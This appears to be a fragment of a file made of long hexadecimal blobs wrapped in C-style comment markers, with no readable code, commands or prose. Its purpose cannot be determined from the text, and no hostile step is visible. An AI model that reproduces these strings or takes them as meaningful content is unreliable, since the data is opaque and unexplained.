523c5c5b59784f461744a47632e03170c887f2ff213a9dafee8cb275a65695198d339354e6147f4116f745a39ad83713c7ef8f4100a6e0bf6fdbb1f2aadc25daec934d9706ded42a9ed3e83e798242f00047b56b82aef4e77063118feec1efa41f2f66d0bbf7eee5a5251904d196b02201806b0c8f6e456530e0999b04602e7b2d2fbc27d38d0d0e16296e478aa7c177c7117078b64b384075ba18c8d04f3cc6b78787d05370b6781e5ffe7281d85c6f22d497641bc16de0b6c453d7bfd045e9251833765dd7a54c986357af9c78e7a6bed0503672598e1ce4b5f21fe8d2b96d4f32ffbfac7af84ce1afc41b04676fbe0d1ac15f1e1b9bdf0a8d4328467afb4a97655890a740e9347acc6dfd411c4de9cf10d5bef8f44915c65f5c0b4e644945208cbd269a294ef7c8a9b410a6de9a1077fb18961d843da8fe3546f614fda4fcbba731d68385cbe17db7652f2f8497940fed653d8be9bc266412e5bddd80067ad97aae8eb53d4f933a5e0e9952c222fea49ff08d6c4e3dd8ebdc3544a8b2c5570a99a79529dc8fcc4a07f4088749ee2773793168c1001b50e08525e635abfbc707094dd60bd0df633546a1f6aef0af5d2ab0af8faacc03d22e7862bf41be681459b06f56bb83cc*/
/*53be35f7c6479f550c365effb0c8ee4fc510960156741b221651466a6cac87dd6ac2313f8a8033ed6efd6ac798feb15e21ed5911561538890b50ff02dea74d8fcf3360425d4a144d36b59bc000c5ea746fe7b11f4e69801c258973e7342ec944870281995d2ee444dfc74c676445d5f95926f224f35e112d79f7481d054b7fa8ef090a4ab85dd7634392aaae7249a76a0abaaf9428e050099cca09a47bafa15bd9260741d85df4a7474661f170bab5d4281887469db265f91ff1eb9ba30de890d009c6ee91751a8bbfc957cb308a569505561ef675d9fe0d6e40843e645818632b435c8d4496cc95adb34838e264a3365db693c95fb34b407547299d8fc95f86cdf28f62c25efa674debb0d49e7b8aea236763710018fae5e1e8c54b1160db1a6ae66a6572a670e9b625a72f86077e734364ef62e1157dc458d18c1a04330f1f1debdfee8b44dd8b9c68a55a5fb5868911f5dc0228c164be3b99bd010ae6eee225637b6ab63f3273e4ba4d599b6f1bb132bd81743273a0c7194cbd66b22af5dec5be7bc98ca72b4f2a3162c69c171e57abc0507693273e5aa1962381b1caf5c6742e55a223b8f1ffb5121490d10d9bf38edab41959e125ca282cf55c8de3e3b3a810038d4be4c53c3e8110936773ff4861df11b710e3a3cda5b80e0e114b01edee56f7680ea4d3792448919dc237640c34b0bd6cea0b94f9da60d4dc00211f53b9ede20a3c52f55c919815df2b17e62ccd9ef30ae0e81ef6e3d86c5709410641ffdf4ff60894ceec875f245459e72cc63b050def95c8f2fe9f1745044c2bf99297ffde06d66181d2d9ba27c2baa2fe7644ca1ab1a66cf2f6b9547038defd4a67383b6980a8db9fe2c18931c81205ebdd497e9673029efdc1c4382eaf1c5f9c641fc4aa00eb5ac1bbf792d95728263bb2c0f9d6c5c499cc2cded9fdab3013e75d19da7003deeac4b051edf5744b0792edfb3e1ce8b22eb2132dbd66c9b0993208bb5d0ec834d50f0c11a596b124ff32ca49a3e5d0c2b395d1f9e3f69f51ca022295ca3b97e8f14c2d4b6eceb55c89d9e97241634201ae973c9156f588b3633b28bd3d54df6134cc23b5d8266cdc1025c3650607f289374c789ddd2b22f46390656f6659a4db6c9042a2ed88de559b3c1b05d58a6af7003f224a15d19a3c6826a53a3c21635e175be5f49c8472c0b8e26cf0427bf48b6f121a9a83afdeb17fd2c4dd9bdd134d5c6198a86d190f010f7d8eef8b059fe47775b96c3146dc08c2449466deb614b4900d142584cfbb5cbf2d935ffa9c986ba663681ee7542faac378dae202fc2d4aef66e603f60a9ab17f69d019b62f8946eff89e5d3d55862e772d3d13b01a6afeb0f6238dc7bc6220f3122af8ba24189780b5ae76f0a493fbf9631a9b201c8d0b1c1fb9a4b209a05136098424275157a25202051a3324df7b07db64eabc57434df12770856205d87d5a73e068ab66cffb4a14361a7b0a44b90d3952797fe36d05dabb5a77f75cbfb34ae514007947c0127e47bf2a51d3c66d7aab2f8b58613360b42029432e0032fc74831b481bed6f7bd1876a1fc76acdc1c896298cea211eb39dae83bdd55747efdded1b76e8994c8f7d50ec9e09a707b30aebcf2fac6bb449f0745693139b8418f88597aa58c7903083758736fd6d3dcfe922d913ecae2a42794ad34be54c9bea5c7adfb53bf8e6c763ca67138467ec8a56f03b483f083b2a176bf3cf938f51c85b76131ba2789f07c9f447ca54f2652ccd73a071d95c6fe37b6b0c44e897e9d62e84a21871fba75a4fcd7c16a584c34464bb5dd9f8bf75cba84f77346cbdbfe46eaee36faba01c3fb82aee1685b272322bfb831706ad5fcc39294309038b9b94dae1127e2e5f2cec1b8a41f79412c0bd8907f668cf1df390869d201d9af09e6457c15d24dec5d5f0aade192023bd62e73e211b4d28f8fcdd2715eb2deafd87cdb5c71362a3439fbe80d51ab060c40d9693db20051169ff44475e0c8af23edbc35ac1335b7cc666ddababd61f05d00d7ea51ae065af9672175ba7252a450a7b1f0dd40f86c867c58af738b21200b1ab7eb164d29a8c486beb70bc590f2f39154dd13e4a4643c0bc93c0ca81778e4a65f900696407409633bd293147de031ff98d10b3c78dc9e2ec7594926ae76fcbc182329e7266533086a64d472e4209ccb07781212e1be54408da620b22db7c597105af1587b52358d1beefb1ea78594ff3e080908654e74b7cc43605bd961fa3e2a3f34ebb3e8b3803e9c5e9920ff9f27052af5d6c98fc8611425ee22b874bd3ac02ae698840a2c12f7c38b1a8b8f5e8e549d5189de8fe18c6f84fdd9241ace1e2c57308d8015e47ad7f63396382e0087a3e02495c1a7cb4a1a6a6ef41644a02172a8ff770d3653b077af9b94fe391e80e8276c4c5480d18b26a215844f6cbed6bec5b76e5b99a450f278b605d3dbda16bcebc303e2021c14e1ece7e9cbe7ac2527907bfaa22c253b07829581434b01d14a626409db0c95a6fbe2dc884dcef877fb03f0a3b3e530379caa66cd2596b4de605553838eb3e757251bbb52080672092df43d6572b2adf9bd2788439e250a25f56e31c594047a40bf7e59c9e547a0f4c61ecba63c2d00ad00a876e1799c15f4fbbcbb0dfcfee35dac97f78d1be1e50a6836f23718de685600a221f93f4304517e48ca93e502993b1e5bc3c97a96a71d9c836f866e7f89280b87356dea6970153f12ddf286f3f0264893fd1435f483fa3f8c88a1fc48a4ee021f4870835b789093260214516bc5319e09bafddebb7e527a8729741a79ccff29269be6510e9a445f663211a*/
/*93228d44afb5d3726a6cf0cb6edde012ea3dae0e12924e9818fb5f418ad1833baf129fd936cc6b9994998371138b94cded0d98329ae29132ffb608bb02849ad2429b7b3f510ab0a0ce43b43892125c39725a46e547e8853ec0729eb7059af92b662ab69174ac6b224d36409dc7b8b0f652c7e37055b53b7fa2e6cf56ebe832085e3192db34b8798878f9b68e9de420ae33ea58777aa23eea7501996aee0b66362ad60dc192da9824dcaead45a078daf8a3266897b40000808766c8902ce1505fea3c7713f3c86096d8d03b7f7466d6c9fcb9895df2bc875eb4ba2b681405722077d1ef68cffa0aefd01d94967cfd569eb1ddfbbb4bba74e09cfa9d3df61b334acf8c8661b31f790394f3d7d238f2f40786db28eb37a37c91b9ce48ee360075f53948572f4a381fc7238b782e6f7ed8606cc711b1b15b15f72618b4070596c06ebb25a5eea7398b930bac135c6b80f96945f8ef3d25274bcaa904736260bf6bdfe7fbff35359114a541352c7fda52d79271df86bb9c599d362b84d8c3e7ded2a0fb215669b790b2deab33e215e79e133f77ae7be24a7a043a7f07534a6f99bd22386f7ecdcf852407b1536c24dc9a384b5165f01bdeb545e0f4ffe87fe7b3cb28d43539891b7926e65f5a4a3be82daed04670d94ebd7ee873323974531402cbbd5fe5e2f14ae02904578de9c1c3a6335c64eea24146c56bbd33c36b12f183270bbf7c5db34084258289c24d85dce4a3a2fcd2b11b0214da75d1f17e72aebef67e5a11d3522ddaae8ff1900c1fff97a5556cb63f39e049b691ecc4924c8df6e320ed395dabc21c5127f9ec472a88d52d91df452761f596d070d38af4163e1359fa1d4d55ead26ee0e08a06f1b589ca0caee393162e8664abaa3af45a83886fc93cd153f9bdb088c91f1431bdbabe636b9b13d88c95e24a8a4f6f8e9cf1228855858bfdb1d2de041ddd4f69aacdb21e87e0ab302f068897fe4e0e612ca877413d372c2fe9f1cfa5de6b51efafea3d611742fa36ddb54104330edf7bace0930467cd517c98913abeff3094579456b9a151dced2bff16c96b7e1edecd64b2a746837d4424183669ed7e878e9eeaf0b7126277c909ad98239df801cc7f0ab64f4e5001ea41a0091418cd1f9f50e085d9c32fbccfa5546698be23b4624f664aa03c71053a90665072b51d740f080a988c79c0bd3ac0da0764a1ddb7d463dfc1648d092c8f618ce454654344d5d02a1232f1012e518b84b8d21094ae48da645e838a2ab5c3a8828966e72de6b66396f186364da5d7b2e6bd96aa1d0e70bd4d8a444436ea7d2da59f460416a27da34e5b0cf89b561539cb9277c46a32cb2f0eb60aa6055fc5902668b81429e2ba1092b1d743d5df87fa08c199e5f4f8f82e359cc3d1ea07245991359639432b2308b7a21120539eb6de085592c3c0f84c445f267855e7626f08af71de45764a49828f30afb94993034304c2a642c68aa312c0da030137515dedc5abbe1a0dec6d62b93b46472fcc2f3655c031b934aa143aa256034b031801c15391d406a01649521f021b33d89291d6f7f5fe9c7d787e7b4379edfd1e325cf6a806e127cbfa4d06ca0eefbbb82dc80a702705155a90116da307171a4ffb95bb1c4cca062205f43c9e1c0003b37df6dc7e672503ca815967ea7f42a06f340e0811c57eaca1bde12655b0330faa2e4d9d2e5de4759b9fce0384a296cb62bf41d379d7c8b030e15c649c0eea39085e93dc359d522805dd9e0f97c17284d6a377183754f1da1339221d983203170dee95ddea4c9e0ecf7259cd46aae9d6a2bea127f8a1edbd0bd0cdb59de34efb6bc48cd4be1c5eb24a8d88fb11b2cc7dfbf0a4d3e6a72efcceb6f6bd0a5cc6993e48cee1e651768587e8528b4976ff1aa39ecc6d05e11767c3f80a5a277051f3f4056d6aa4e5c660900df4e91bc1311ea5ced7999f6a36e023f0cfe0f2081436d0b91a66e55f20901401e3add9f6c03c036a22e2e54f84ab06c2acc5d59a05799281749e269ed21b852df15bd694f90aab697429f0f09df9af314d8164ca0750cdb06f321b3cd484893436bba4b89697c9994da356164f8666e7341606d77774f2643c65e0b6f01fe6a94837f833591627e9e246ed06ca43984cb480de10b8a8a048d5f60a11b77333c05039ceac5870f2f697ff8c8f077a08291afa659db50a26e92b9cc847b49b304821304ae463a9922716e978bf6b066553e71b28365bd827b818ed1e05848dc30cb97684fc63c08e96e9236d998868d2abbc795bc0430edafbb1203c9822f3813a763939b4cac6839a1f4ede52d1769bddaf8fbd2c4e57ee6ea08f7b757c9c89f828ea3ced3ee102aa82f3038549cd93b274c1281598e0c1ac41d98f4201a6eabbef7eadaccb50aae06556a03f350880eadefef6a504304a068dfd1e25ac93b4298631d41e7353f993dfff366413d2aa87d5a490e6d5e914fbb42de25c6b0623f8aefc911e2f86cb255d852f6c3be80bc9fa2da8c77a36e25d83410dca5c4323fad1cc946612e630a6ff1a36fd3818e629357ee4e4812948fc6edf7dbbda85298d9832166b4076886c23aefe2f1de8550180397f471649093d0903b72d2d298084933e35f85c105c40308959482e43e60997c43e86c16f9837b9f02c41df7bf0ae94d0ef311b03ab180a54e185331419dc8df183932bf7963fa8635015734a5e7d58f4df5de06bca01cbf179946f82e96f702cc6dc147deac1c54b125ad3179ab09db9027e35b87b5717499a33cb2bffb52d2fda557808984e8818d17ebb1811eaac224e75bc90f2617d3e7f2681e6ac582721668359f461ee*/
/*c0fbc8af5290525f9cac52b019b7eb70eb063d6623bc7c02a5ee1c3b14a1732a5971a759cf6896f33519c5e72bf98bd0f8839268da6cfd494e1ee25876b17a0ea3143237d7e8bbb5a26a80e442bd3838aeab56dd6bb31e5977caded32892f58f70d7a407f4a04731d092797cf1904a08d2ca2b2fa510144cecd5f137e61bdef22b0afb2c5dc5a66ae1f8992c6cda1f68d4449f792783e83caa285ef9d11991df1f9dd5c5449ab9fb3fd996ab151e5c702fdb12055b30cd5be4919298fba67d98af492ce9667ec0ec7d6e36cd4d0dba0aecbcc6319d70f8a0d0cef5604c1030d73a19a27c4e023c73189e7063242939a36c58c5f2c43aac98cc061da28e68ea05a86b7d101d332830461b2a82d8dc9bf84deb36261cdd650cd052f72ab74a76c6f58f4a33c0c06ae10cc479c9f03d913eced398f39638b44af0b87ba77b8d50a95d5e961ec71c99c7430e0db93510e72f50b8123938abe2b5052a33afe077512d6c2c48b53604aa35fc644c677918b3c08d1b2190dcf8b0071fb0d0e434a3290384c7bc951ca03f605489dbc823b91b92d421316ed582f21b74c21586466005c38135587b3ea7a821607d6000650aac4dd58d870c398813dc893c5870edd76bac1e8cd751050dd7cc260abebf7f57bd5d14cdcf6f4c74fc92dbb78b092ab0a6a0b0893ee27f5bd009d751a7967d3f74af66c0f531941b69bcf4da83dbacc96f5027e3440399968d12926ae24e12c635637aeda94706b2f59260c42bb6414fdac0f131b8ec2564190bd70c3f81bff4268f68c1918d4e35df1c532ec214ef28f795a28f9b1868ffd6f360be0967aa85e4f81300a03968f5b1e8cba3e472093c896ee6ea198ea837472b4bfd6dc2bc899b41edc245b278398c446649fcc96a7dae8c1bcdcfbc842035890a527319b08aff2938f4895ced8a0c84800c5eb46e52c392fa3d8ac2c7ba8720347d3c908203b01d83d0ab85fbabd448759919aacabb76b6f6dfe218aad10685814695e66a8adfa7194463c0ee7ebbfe9de9e800994915c8e9b0990262dcf21459ab6d97e2d5b66eac0a6e6710419437edd6e5cfc9bda6cbb1583e0af809eb047336bd22b64d54e073619d4eff2b79d67fd9812f271d8a378e1f6c512860c18d6e34c3c499159bf9ecd6a905fcb7a64ae9dd04e7f49a65d1014aed34d72e8b9bb300edcebbe52d16cc1756d70ebf0ab6a130eb267044a078e232dcbd69bd40d39063fb65775b546d037b985e2420a64e09baedae7276e2f8299ce4ccaf9f45bd08f66b80404ba8a2c28b2ccf8af436b2131a49284ac7b7718c39608fee1caa6d427922638914c170678fe30fb243d039b0546392608b3dbb50783199e9dd0d2b898707de83564f51592fc8d6162e9210e164e5d61ecabed471e5d3634b6f4f34b6c3fc516f4608bb638d9f0ebe387c0f335fa67865442deaa3425175a48a5a51a0fbf257cb24baa4273eb71fd3db270eb896da0b128db4e5e6d5ff7580c2aaa976f55812df25195e4b1ce4470bac0a8a7bd33cc54014753590ec27aee94491f665c1a9e53ad39a9455ae00a207839b950e2989c563b7ff1a6a9e73f2159affb721c95012852041dc07da3e254794dd3cfa1e963d404a1bcb47be18fecfc240d274615e47fb49e2d4e01cb02ba7dc8b9a443ead476604d8cbf231cfa049e6061263081b6acc75d2ae4fabeb0cc5c2b7ebe6ec882f39e186227c427220d777c9c97b6a75e342f9480c5166ccbebe6b6b5d499f735a86fbd95f958e7cc1e8ff389d8cae1bcd7d99a338e41806cdbff49599add1dbec971e6c4d010c6de122e33e3f23012e9232c2ee9bab0ad3b79f30f6c986654133da903fbc1c05ed7e66e992bff4c08d99a1f90d045951befed70429b74631a9f464dfe63b4e15e6530400c76775b191efbb6e37cc98a673495ee34cabc626521b0ec9416b7e05761e74c5f7a62c04c6215e0614e2c62ddf9c9f2876c71ea66d4c3dde881010518ebe8b77973ceab5131019fff93db76f07515aad8c2320a0f369c087bb60517c8c84029e77a0487561441a56224019b7f21ee334b1830011e04f214bcdcdf6f7344a0baf5ebbf3dfec05e4a0de507059801b82fa06ef09ede92e55c912828fccfeec324105b54bcdfb7fbd2a1a37a65c08106a16846ecf711888da9107ca64d087421b42c6e447a2ae96968709cd6eaae225fe63b46e04c30b6d4199e80660f934e12cc5474ae303ed9c28d6a0eeeddffc887750c649e0f6a7fa9557c122afd866fd50d1cddc33c861a6606356c5bb0be02be626802a449f54a54256e2921fdfa61a2fe802b1588532c199016ef5757e03b2323b9254edfdba38590557018367050b5315ae06c43f9906d9d06a971fb608403800ffdf2b4b0e65d4a34ec97dbfe8245ef441dd9dd9a052ff95b67c6a702529732cb9d4a784866c30f2c0ec90b2cd1c3b175c8687fd0c5fd8152719fafec7b67d59fa985cfa0675f0101e62a9e397f0c6b86bb075b1e99b0b3da3f4f1c35a2cdec26e068950966f635481d16670688a1c5e1e2a15749d52c9eb0498362138b6029314cf5130d2c6c394c0ea0679cbc90d1dd7ea6e22ec91433068ec53700e95581444977a997eaa00fbab37ceb95b78b63dc081ac31b69905d512fdee103f6f4610372bc6a64867088a32b62b116904a135c36511a2d1c82c0a9f4e8a93ec202d61d38570e7843dcdf2623ffd386bca40c009149f77bba88d243a3b857a840253e6a95690cd795fd3f92298f4513d6c2128ff550692dbe2c4bdfd4641cac252857ae2c710585dd199618ee257adc968038811268875760befd8c0dd*/
/*8df3253b046b78f932b0a82bd0c8330136007ab6c6d1d33361d684930f3896bb9ff902642589e9120caa9071bc0a3b33b189698d04b0d20d3292a8d462ec8ab806438f0991f5177e9791cafb29648c22b86c566c26836a3944f4fbce3a09906025ede77f617b502e07973bbaabaf2dd6bfbcf84ccda380c78f88792e580288ff548ab8719e6996d9be164b6791d0f60869aaa14bc517eb14ca4327a4e701d3121be8237d5a1587dff8a6ec96656944fdbae39c028ab64d401ecc6dbf9d26fea90bf20df66c8bfee117b40b74ec1390809b0fa5304a90ab965ab2d8382973bc20e4ea565c80bd4674dc70ab64d14139cd6c0415bc06e01d53943184488de7e022fbd6a189df63a890a68e1912f87ac4b4717fe1da5e4377824d1434a43cab7b0ec2cddf7c07e2bdb92e01dda683bd3dbc6b762786e9e513cfac295558e6650515a424bd1b11178aebc0f52b82224bb60afd5c9acb5c1bc3aca0944c8c5caa09228f705d102430b5d442d5ca0cef65975f36aa3cc796d5451f9aea02a849f8a073bf1af980d8f3953aba3248b370bebb35784b0ad710a7b22b8d001e0df5cabe138d81989c65b5ee3ecc5c9edce0831f73ee82c70c583e352d52050df25a522820276e665b8e84ae023dc1caf5fd401579c17a0855a5882e72524525d3574618381a7afd2f6687805b47a22716a5a49617fcbeb59daddca61a6e13bbf00064ae2f5e4c9b810d5344cb904fbf38f6cddb8579727f79a4c1c34bcc055ee4da4bcb5396ca307ad3099f665b76e53d1d6b70cd5f56d6506e501dcaead922ab3bdbc50e6c929e8acf728dc5830a3f64f35b3738cfc6a7609c425b9385d421f44073872bf0494b7acc42d84ebeb00c31db96c97f4515c7762ced22e388748248ce15c61ed272e32427ac831e422e22c0f831b84ea62a6dcaa1e2bd8bce72218e8e3e1be2158f43033af1b6f13c87f4bc210325bc9a8b4a379b8c008988b09ab7439831ea7adb9b164bd38dba3adf8db4b993e8c2cf514b3c16c8fe0cb747c2a75ef7aa206e9da432823e45a8f74c25e18f4a7427aa1ece0beb4f7201614ed70e6e3137980f61685618b8e1f467d8e4b901861456452d7ab5b8713b19f94a0e6890c3998dbd8437e9ada2c9e931c576e39bc44f36c4889c2a19efa3a6f98ab4fa69aaa4df34dc17ed699e056947d8cfffbcf98e53d55b433bda8f14505c2ae4199f94e47568232dde2f092b78d3e21711091db4ec69d512626f3dd565b7e7f9b65823b26d7e3526b563b1a5c444072966e178fbb527da4ef13349a674bc5f458d288d180812152b3704cd647d98d94c9cd823ad015094399fbefab55410748b904ccd62591c85fb0ff1f4f454c727eb633a29b944b5007f6054af0b8ca2ac03332372273d1bb3bb7bd10ec66dd59af5f47563040c4b991fadf8b9fbb7ea41f80a19175da39774ea1611e43e2f800a4f2652eb197e644a0c01950a3a47d748767b3c61207dfb4561c347edce0d610721e8fab19aee5f4e31a42a01fbf89432cbd591bbb3f6bdb321d4b322ef4e04dbe0a08df8a8a88718af6ccd76eaa70beeec86e3ab8bff46c371bbc6c4366bae53aff3bddf0401d90fe76d88527b7ceaf11729cd8c2b3437db1401704a394c887215ea523f2af528c07840f61bb5a5d5fc27d0abecca1c4918487eb0e663f1b00d0c7e3c4626ef8b9a642e2ce693e74fa9380399395c03b1f7e4643fc08d63b975cbf58b23bdfa589397ffc6547bed307bc98ae3f21281db39712feb5d4b598aa4020b4fec535c91cd630327b9cd6e448acf973e333f363c1d0391ce1a758a66893e36fdf7c244966dc9b3de9214c526b5b9f5d7b93608071992c9d1f46bc498382e5862ca8df4f6af375c90a0127e3cf7943463163d6ba485fdfb3d284c89c1934a15dea95afcbff415b6f378a6d5d0a1aee924741444d25410892e58763421cdbaa4f7563db4f2db27e9899b23da66a6970bdc77de44d34302f338a52b1ec0d571b3588884489fff4cde6d09863efe5cff430702dca2709bb2ad12fd842ba005e7a013e7dc7566fd4b78c4c6779ccd7710810f1e812c8a37faaf378241afddc649cd610bd7f83f14b0f517dd46128e914d54201eb3e8c846642f4d544a9d95f11c39d1fe86381fc96b3f410a2aad59875bd95bdb581481beb446ac19814840dc239d7bd8ba29a3248b173168cd092649eb1ba9165db1ea1135319c6bd3b137dca4c1235b36a7e0039521162448c42690db7de91cca1057d1e6c9867c419577678df4f35a300ff87570a4be7a60556ec5ed1eba156db65d2f7aac1299dfe72cb778e8b91a1699408b60264d4ed5899aec4d484757ac26c43279862e76bb0c2a4442bbe0fe470445fbf93b15310b73510e0322822380d459c8833310a2571443811a7995357dcc0be2366050b06869e0ae1bc27ddeb7c920c5b17cee42572c40d465999603f87d33945b23f2bd48f97d76db57cf2fb26cbdf17403e7cf1dda55e1f3d2b5394e52c3965542ca52c8a20b3e21e7ac3d0f0dac183f10d68756e0502ad597ea00aea3538730e977f18d729591f94c1d6e408f9df273b6c4432f9f7f63ef9b4221df85b95f8dc25e40f15bc8952f582cbe2bf8811fdcfb2d6f251102e813b6a154aa6df78c89f43b5624635af53ff07a7cf174157070700bb77d108f5672ea84607609781cc0c2d95c48344505a9762eaf2f794055660a401dd34a21c8f4112120b80903aecc9aa3ea82afaa134ad239fc79b9a1c318ac18800543bb4b77a894cfcfdf4ff0668320901b44c808b2be5996834040cf126a78197a3cd21e1ab0a9e1df7c*/
/*8c8906d1392bdb8b1d50082d86442edb1d0ebbcc5b1e7b4cf7c349cbbfb14c59c65bf692a75a9b149fa32c60627d0eefc7795415353a604581fa06f6070c45f80678bfc97412ad7af7ec2732097da1b0080a049963a2aefdd16caec4dd05478a0150ba62f98366225598515f44c0fe7e4492f5c8b5697925e79515a832c0e5ae3a940e49447b1ae848b0bbb745e01686575ba974764e4506f5636ff2c5f8d4dc19b419ca9964d80164ad6cc1f0fea804316f59eb7c2958a6a297c23e4fba23fe3f3a77b795d41b7dff13d48ba3c744d4934c8030ddb4ee88351618ed77e1527617f7a4df8a9626c8a862bea1394ca7a2ad8045df3f3c4eda44669d3d965e647ca3ef8bd74ed4fe78ab9218232cf6c3c9e9b3b52b8791d26b2d6f8c846dd637c3d59e0b1fd2ca3eb3ac287518553053be3bcd7497d1765f58bb7908761dcefcb1c40011b21f81088f5cdde0e301464bb1c6a8d971e9b2c7eb053369115a75591efeccf0c788000ddd01c231cee8c93ac65287041f7b92c8dd954b89d5860de615c95960d85a30fcb8964662098ae4d71e8c44abc9e233231975e08f555d6117d38dddfac4792d8351f6efb26b56f3a19f953ca854ccd6d02ef17b86019f759b225a7ada9e7130b1a88aa11406643421d0378fccd7c44daf1d459f2d72e2cb783b375e92496ad1d04200512cd2e3255ddb288e39b9433dc9bd2e6bd2cf03f5495708377b95dba04e35451faf9f47c7d21fbe25e3a8aa424c41ad2c8a1b70c83d3cda12a4e515ed524b21246009adfd99a18bc0aac59f86f3e9a1fe3b797bcf2820f8244c79f7e36a47fbb9674b7296ad5e3de314858cfeeeb0228ad9f8496b44b938aba9d3b647442af4949f7124616f47a96a22f63c98df92b53ad8f76783ce4a39f3e06496ce0e8139889e9fe327b2c6b575b71e42831b5cfa4c1fce93aa0b76de1cef0cc2088b39140b2031f32ee7fdfc212d269d59a27826fbc7804767ee7c6f817aacf78a5088eb98d7396358eb9b54686973038b90f5119b5ec705724a09c39f9d58dcf9f3c5a1a5e865071206c2a1d354a2faf66b0dfbefd830233b50893358cb50268041afe7f224cf38d2c2a6e47896e1469382653ec36a4b4fcda9d95599c71ffa29c90225c8d707e0ff5327b918a1a2f656f944f55f7b22a99f8745e3c1979b6e07584dbdeb001a4467488898d3e070d30d2967195fdefc4085e50a595d59616870e612ef72e11a20aed0f96b2e6b5fba9d4abbf551b5ed4ea8d17f697c54626b30f95624f7a39b98297883764bbefe45e094cbaf9868a0c3f4614081c0d1572f902ca3a76d506644dc7ef78224263323601cc90c0fb9724a4cc26bb5319df9508962156b0a3f34bb38821846db5a3946d551e7193c8bfef4bbd0fbe1a41d01edaf73acb0b546c5612e02cc4470b6b61ae5592ca16f5018217e11fb2a893e35d12e5f1c0ee524ab819045eeb1a34ef09c0cda19bb70019206d6049f3d013e97ae6f115452c6ebd0cc1d89021eaa908e1616c8177f66aa431592e95ced8cb062c0ffe4858d6168de6968eb6756b329a728a44a6c60895a8b83baccccc06b02dc4664ce07fe53d1687570648574c2632aff7c48b622b427e34e3e62d807826e74ccdb5743eedc58932c11b9d92e6b0e80ea7df0654fe7eb0ea945e120cfe78d10d9d3525cec524c33225fab7bee84acb1aec411a2c4388a2545cd63eb40231b50ff73859182acc866aa4206ec2117d65b8f6b910307e5d32ecf6d1e5ec1172e5000c8434d8d99c73b9aefc25105376191516782994306d3d787a13e6e8154e6c39fa47e9f615a0db782fb87f02d54b3ea6ab54dad7294ec726af1cdf10b80eca1a3ba1b80b77f764ef91b592e03bf11f6df702c8a8758cbcccb76fd1889e9be222a48b38fee0a45bc556ddcea38947fd83d6ea38d43516e681a166a8e84530e3d384fde30941d74565101b6e4f11b2bfecab89ab151808e3d2c3fb57b69536498b089864f58a53894b9b7b874be83f9dc9ce6ea1a9d2cf9cce053c869b314fd9ea2a4f5f6e7c69338c14f773bc1d6aa8856358ba3df4e3789ddc63492fae9b61436b120452520d7753d26a5d27ab2846f03838bd5dd3a6f0c40359347ab1d8dffc0725bcf0bb2ca21b00dccc495cf3f26d21312cbdf2d1a9a2e29f88c253192133cd6a5c4f97aa5af3fcd7959e99b7ae74abeb51cb5eedee8ba6fe8324981c5d886846e888505b7a2b5ac0f726b015586a10a037c0fa9d01040d7e7c008dec7afe5d036774a291985081124561a72c5c2907219592799b1015b85ee4d478822406354a185b5b2d78525eca54e0cf783349eb10e533a1594c9a7b22b9ea0198943bb6d5c61705b534e5d40f0059ff0cb45bd98dfbd80a49ca14e2fc135576437fa97d0db93a89ccbcf679cf7a31b2989901978a5f112f83738299c2c60a5ce79acdd96e0d2ac5862a087b6cd8603b5810007a0189545b7299423b2e53696aab66657f8f8ab41d3c9b679b04120d2bec8aff81292a4c2fb9763c8eac107e047762dd83b501ccffedaae7c02f3ef50bbd21b1e7e32dbc6aea3c747f9a20d7563788320acc8fe765bc2d142b73f01b380aeab7fb9b1a8148d9f13ff5c9dd6ec22911526235aead151d56e0902031438af435dcbeb96bfc25f1f59c64a396d952d558c00a10f4607e4e71912300ccdc3960c9e36afd2df64edf598893c9f701daacc580adb1c4bd4dcf6c11e378bc84f01d7709fedff209f68567c401ebbc32042d767224f7662526c870b89df87b140dc258575555246a7b9244bc19edd7dfd4f1a14451f9f5b3fc597f73be5865a*/
/*8f8c0a4488c672082d12f72d169edd6dd3002d63c7454052f3e653e3c5376bc039abcb48ef21e2e289d5cc42dd20a8a7603ba71390b5061bc0c239619c1b9a0beab05d41833e672530b974e410b297dbd0aaa90f9ec090b73e89173920d1ce90b694d47bbc1bb4839e8f87aaf4488988008165d28d693f0cf69c0a7e31e7999c810470de11367c8a5b42b72efb0d66e68bcff8fdf0b7c92a2a098d3d50fc293a007142111a9575470095570255be67b69d73b73ffd5730e68c15a13ae86377bc2ff5a2888a1b264a1dfe4a435a524bf9316314e1c909f228d5c7ff39e8e4d1f86dbacb9053fe661da96d4105a3bdc17da67c3a3e932ef5af937c0cc175d814adf8b81b95a665a90811080e4ee83d37dea1b7c1b25a007981590ed86905f029fa10a5731bd77f1fd9c710ef3e4ff48d74317e5ac9f4d67f1fceb13587e35968c001880ef7ee4356b3c50d5312daeeb553034aae042ec8d5ea13891b0c9c8bc178d010574bfd287ec2e589e1dd0767b7c306be604feb90268034968d465e798fc08fa5b4e3ea843ef8c82856d28d0bdb99d83a50b3d710c6f19858a2706234ee5050acfe3267e3534a8755a261b514f44e85ac35b11a4e6f3a778ce8a1c05bae4c46f5f8d49fa7c5d775392323d9266b10670ba8419c0c6046821bc782c727877dcb80e59cea049dc3de42a44647a179a6d70824d4043fd36c7f85ece840658f20ee8af0783e1950c9d1c2550940c481b5dd8df9f084e83e614cdfa5d8c7eda7682b143267dfcedf5109faea25bd91c9e7e081819ea2c6df6d9bd03bda188c5f14b07a4a8fe332a7134122cdf238ed831a39fcff0274e69f6093d9d5303ea36ec40d219a5501fbda8b3539e66876329be9723e9253d4875d9d000b0f25d587321a70e0edacf9338b3bb6700e51a14485e3c80bd4fa99fdc119398d88d1acf6ca106ef5dff838fe80d23aebc54fc02de942dcabd775a48500cb9c31411c2ce6efff5fb0ceadfae08715705f7b755da590a2f8c3e4a823fe8e62e69f517f2786c5b4e34d9c4973c55e787c307c18a32e6e1541a4c08cb8d7847d6827aa6a81310005fe1b4574e39a3a57585996cddc5b9c197f18fcbd7653117177aec1db2345d8e19a9675a1bfce28a818a85a60e4bcd7e107299f1c7895e6913338db677a95714e34d21368135e7cb3f500c8249d2fb0fa425c4cabe9094d0a7f0e00dffac85880daa6056bcaf2914cf9c6d87dd2eee7eb0c7fc453ab49f3e615b0d935d358114ed7ffa0263e1c0d4e6983317e43804ec4e2e368f7d2ecc238afb5113aecc04025db0aef590633e8a9f0e7bdc09f0be5cd70f4b9e69fea2427d15af49a497464a56de6dc597f1c8e97da8473ac5b8c8a92310d2101fc3c8c7b2476d29187cb6ccc6f5962f4e0c52d8fb68a358eca913b88795762203d07b1bf1fc75d17fb858c2bc8e3e1d0645c90d6e6c0e6d778b83659ab55d561ecbb98bc919f11295060387285a257e865f8898cde10e4c9f53d3d3be4d6abb9c58b618dbd74996353c378410cff20251b880bdd58390